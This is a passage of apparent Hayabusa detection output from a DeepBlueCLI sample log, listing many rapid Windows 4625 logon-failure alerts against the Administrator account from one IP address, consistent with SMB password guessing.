NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.891 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5GmlVWDjZ75tT08G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.933 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o6v1DkuFvB04PESQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:42.977 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VTLdNb0XbzXuLi51 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CSjDYb1BhHC9UTxO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.054 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V1yLH19VsfLx9BGF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: X4AVhjdz9yHsfss0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.133 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bqWLOKaKwS8VBxDj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.181 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EjK8A8DTSYursBzj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.225 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UaDCKPslwRaLBWtH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.274 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xAvoekviFDSAIgBe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.310 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3XOmFwh8IamESWCM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.357 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 54GbW769j1x27mrI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.394 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bZSkhwZXc1SSknDT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.435 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 05AuqlN44x7oJGoi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RQ4A6ReTVTcFCFeN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.532 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T7U6i4CMrL0bHouf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.573 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NaeA4uZ6o8BRbzwf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.626 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MEnlL5BHmlCrtk7p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.669 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KRNMpwAAaTsyzPfR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.709 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oBtHQkRWIoq5hfn7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.752 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5pkk9lgqMQ4wxQel : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yQVan7kRDOlnim50 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.857 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9282GqsC7UiUMbRl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3lj7GjYryW9wjGgS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:43.990 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MPy4iUy5WBSLUBdy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.041 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0kvD9DEuos8SRrLH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NH1EnMG6fTvcz4QR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.131 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cqHDXSQn8gkl2LJy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RWI9XDDHjs2xcNB7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.210 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zo53mEz6nal5Gxff : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jtOgC6wqMoNYVxId : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.297 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DdadoJYvD7DYjlSG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.341 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U1xjdqjT9h0KUqG2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QfkzZBvO4onYx6JZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.432 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JqY8CvyODDLQV9Ps : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.482 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nPMRIxRVuh13jmZD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.523 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jARkTWdKTfTIwlug : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.567 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Zwhkc71Nfn7QDf7c : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.612 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qsYad9PgEajlYqvo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v9YPw0DsspVbrOld : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.696 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wsHpLCOdAOPFM6nD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.732 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OcNytOhGOZKaREL9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lc5boBVigHE1ccGA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.819 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BQXg4ZHdBYHyiTTO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.853 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JebTJzyn91NrpvkD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.888 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8wCE5ypjEU5feEEv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.928 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OglsROoqX48xm0gJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:44.956 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5bNC9ES3l3KwXPxb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: byPavQuiscMm7CMW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.042 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UQESAC3XpxCJJfG5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.084 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5aYRnzirSj0PNXAE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8s9xJ659geFHOlY4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.154 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yBQdyO0diiFixwlx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.197 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vzULtccOFnLIRiVM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1pDEGzqTAyUab5P8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.274 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gomgb26W9qFacRr7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.318 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GXOcDu88S5c5VwwV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WHRnzgQkfAhsUguj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.401 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: A0Q9ZIaRK43W9apv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.453 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2xvriGeIlDwtzS36 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.498 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pDYTFqeJC61Nneef : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.538 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0LNR7xCHW9x2q2qc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.578 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AE4EBj8X5IfXO8ZZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2BEOSGw6TjZf9GWS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.679 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UCxe24uL4A6R9kgZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.830 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: F8v4DcIRkx43KCIs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.892 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CY2buVupQ5oR1Cp5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.950 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f6c3MlpMEzkCVud2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:45.993 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E2wV6op9AU4paDXp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BNn6aywSs67hVAO2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.109 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wUa03SIX69WCIYbp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.158 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zYi4TB42B2VQm5Tr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.204 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9mnUbGMnlrOR8Tv4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CJGMWqgmbXABdPvB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:46.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2W9BbDYgC6vhqU3o : IP Address: 192.168.198.149 : AuthPackage: 